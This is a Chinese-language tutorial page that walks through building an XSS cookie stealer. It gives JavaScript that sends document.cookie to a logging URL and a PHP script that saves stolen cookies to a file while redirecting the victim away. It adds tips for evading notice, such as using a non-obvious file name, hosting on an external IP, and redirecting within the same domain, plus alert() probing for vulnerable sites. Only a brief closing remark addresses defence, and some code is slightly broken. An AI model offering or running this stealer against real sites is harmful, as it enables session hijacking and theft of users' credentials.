JS寫(xiě)XSS cookie stealer來(lái)竊取密碼的步驟詳解
JavaScript是web中最常用的腳本開(kāi)發(fā)語(yǔ)言,js可以自動(dòng)執(zhí)行站點(diǎn)組件,管理站點(diǎn)內(nèi)容,在web業(yè)內(nèi)實(shí)現(xiàn)其他有用的函數(shù)。JS可以有很多的函數(shù)可以用做惡意用途,包括竊取含有密碼等內(nèi)容的用戶cookie。
Cookie是站點(diǎn)請(qǐng)求和保持特定訪問(wèn)頁(yè)面的信息。Cookie含有訪問(wèn)的方式、時(shí)間、用戶名密碼等認(rèn)證信息等。當(dāng)用戶訪問(wèn)給定站點(diǎn)時(shí),必須使用cookie;如果攻擊者可以攔截cookie,就可以利用cookie竊取用戶的一些信息。對(duì)某個(gè)特定的域名,使用JS可以保存或修改用戶的cookie。也就是說(shuō),如果攻擊者可以利用JS查看、修改cookie,那么這可以變成一種有價(jià)值的黑客技術(shù)。
基于JS的攻擊可以有效地與代碼注入等技術(shù)相結(jié)合,這可能造成惡意代碼在可信的網(wǎng)站上執(zhí)行。
下面開(kāi)始創(chuàng)建XSS cookie stealer
Step 1: 創(chuàng)建 HTML Test 頁(yè)
首先,創(chuàng)建一個(gè)標(biāo)準(zhǔn)的HTML頁(yè)
mkdir cookiestealer cd cookiestealer touch index.html

然后,編輯index.html
nano index.html <html> <body> </body> </html>
測(cè)試頁(yè)面

Step 2: 創(chuàng)建Cookie
創(chuàng)建一個(gè)可以插入到cookie中的基本參數(shù)——字符串。這個(gè)cookie只能用于本頁(yè)面中,同樣的,之后的注入也應(yīng)用于該頁(yè)面保存的所有cookie。
<script type="text/javascript">document.cookie = "username=Null Byte";</script>
該腳本要插入到HTML的<body>部分,如下:

如果運(yùn)行該腳本的頁(yè)面打開(kāi)了,那么就會(huì)設(shè)定cookie,但是瀏覽器中不會(huì)顯示任何東西。我們可以用document.write函數(shù)直接查看cookie。
document.write(document.cookie);
同樣功能的腳本如下:
<script type="text/javascript"> document.cookie = "username=Null Byte"; document.write(document.cookie); </script>

在瀏覽器中打開(kāi)頁(yè)面,就會(huì)出現(xiàn)如下的cookie信息:

說(shuō)明我們成功地為這個(gè)頁(yè)面設(shè)置了"username=Null Byte" 的cookie。
Step 3: 用js腳本竊取Cookies
我們用來(lái)傳遞cookies到服務(wù)器的js字符串使用了document.cookie參數(shù),但是我們用的是document.location中定義的url。
document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
在本例中,PHP文件定位到localhost(127.0.0.1)。
如果目標(biāo)是社交媒體網(wǎng)站,腳本需要注入到該站點(diǎn)中,竊取的cookies要發(fā)送給黑客控制的IP或URL。
把js代碼嚇到<script>標(biāo)簽中:
<script type="text/javascript"> document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie; </script>
HTML頁(yè)面代碼應(yīng)該是下面這樣:

剩下對(duì)cookie進(jìn)行處理的部分需要PHP來(lái)處理。
Step 4: 用PHP處理Cookies
在上面的例子中,竊取cookie的PHP文件是cookiestealer.php,位于127.0.0.1網(wǎng)址下。
在實(shí)際運(yùn)行中,不能用cookiestealer.php這么明顯的名字,而且應(yīng)該位于外部IP或URL下。
首先,在index.html相同目錄下創(chuàng)新PHP文件。
nano cookiestealer.php
第一個(gè)元素需要定義的是重定向頁(yè)面跳轉(zhuǎn)。
<?php
header ('Location:https://google.com');
?>
為了不讓用戶意識(shí)到可能遭到攻擊,最好重定向用戶到相同域下的其他頁(yè)面,這樣用戶就不會(huì)意識(shí)到。

重定向完成后,需要其他代碼來(lái)處理cookie。
1. 分配cookie到一個(gè)變量;
$cookies = $_GET"c";
2. 定義保存cookie的文件,這個(gè)文件保存的位置應(yīng)該是我們控制的。
本例中,文件名為log.txt。
$file = fopen('log.txt', 'a');
3. 把上面的兩個(gè)參數(shù)的內(nèi)容寫(xiě)入log文件,即將cookie寫(xiě)入log.txt。
fwrite($file, $cookies . "nn");
代碼如下:

然后,需要準(zhǔn)備PHP文件的測(cè)試環(huán)境。
Step 5: 測(cè)試Cookie Stealer
在index.html 和 cookiestealer.php相同目錄下,搭建一個(gè)測(cè)試用的PHP環(huán)境。
php -S 127.0.0.1:80

頁(yè)面測(cè)試成功。

打開(kāi)頁(yè)面之后,瀏覽器會(huì)馬上重定向到預(yù)定義的網(wǎng)站,即Google。

查看PHP服務(wù)器的日志,我們注意到傳遞給php文件一個(gè)參數(shù),而且php代碼執(zhí)行了。

最后,我們可以檢查我們網(wǎng)站目錄下的log.txt文件來(lái)查看cookies。
cat log.txt

Log文件中含有cookie的內(nèi)容,說(shuō)明我們成功的使用js代碼竊取了cookies。
Step 6: 攻擊
Cookies含有重要的用戶信息,一般是明文的,有時(shí)甚至含有私鑰信息。所以非常重要,使用js代碼注入可以竊取用戶的cookies信息。
該攻擊可以注入到任何的HTML文件的<script>標(biāo)簽中。常用的檢測(cè)XSS的方法是使用alert。
<script>alert("Alert");</script>
該腳本會(huì)嘗試打開(kāi)類(lèi)似下面的alert信息。如果打開(kāi)了,說(shuō)明網(wǎng)站易受到xss攻擊。

在現(xiàn)實(shí)的攻擊中,黑客會(huì)特別注意PHP文件的位置。如果處理得不好,php文件會(huì)容易暴露黑客的位置。如果這種攻擊出現(xiàn)了,那么根據(jù)cookie被發(fā)送和保存的位置,可以追蹤黑客。
上面的方法說(shuō)明了JS作為攻擊工具的強(qiáng)大性。JS可以讓web更方便 ,如果某個(gè)網(wǎng)站易受到惡意JS注入,這會(huì)給用戶和網(wǎng)站帶來(lái)巨大的安全威脅。預(yù)防XSS攻擊的重?fù)?dān)落在了web開(kāi)發(fā)者的身上。如果用戶認(rèn)為運(yùn)行在網(wǎng)站上的腳本是不可信的,也可以使用NoScript來(lái)阻止js代碼的運(yùn)行。
總結(jié)
以上所述是小編給大家介紹的JS寫(xiě)XSS cookie stealer來(lái)竊取密碼的步驟詳解,希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
相關(guān)文章
使用Promise封裝小程序wx.request的實(shí)現(xiàn)方法
這篇文章主要介紹了使用Promise封裝小程序wx.request的實(shí)現(xiàn)方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-11-11
uniapp?使用?tree.js?解決模型加載不出來(lái)的問(wèn)題及解決方法
本文介紹了在uniapp中使用tree.js時(shí)遇到的模型加載不出來(lái)的問(wèn)題,并最終發(fā)現(xiàn)是由于縮放問(wèn)題導(dǎo)致的,通過(guò)調(diào)用`getFitScaleValue()`方法解決了這個(gè)問(wèn)題,感興趣的朋友一起看看吧2025-02-02
JavaScript實(shí)現(xiàn)生成動(dòng)態(tài)表格和動(dòng)態(tài)效果的方法詳解
這篇文章主要介紹了如何通過(guò)JavaScript語(yǔ)言實(shí)現(xiàn)動(dòng)圖表格的生成以及動(dòng)態(tài)效果的實(shí)現(xiàn),文中的示例代碼講解詳細(xì),感興趣的可以了解一下2022-02-02
JavaScript實(shí)現(xiàn)表格動(dòng)態(tài)變色
這篇文章主要為大家詳細(xì)介紹了JavaScript實(shí)現(xiàn)表格動(dòng)態(tài)變色,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2021-09-09
十個(gè)你必須要會(huì)的TypeScript技巧分享
學(xué)習(xí)Typescript通常是一個(gè)重新發(fā)現(xiàn)的過(guò)程。這篇文章為大家整理了十個(gè)你必須要會(huì)的TypeScript技巧,希望對(duì)大家學(xué)習(xí)TypeScript有所幫助2023-06-06
JavaScript實(shí)現(xiàn)多個(gè)物體同時(shí)運(yùn)動(dòng)
這篇文章主要為大家詳細(xì)介紹了JavaScript實(shí)現(xiàn)多個(gè)物體同時(shí)運(yùn)動(dòng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2020-03-03

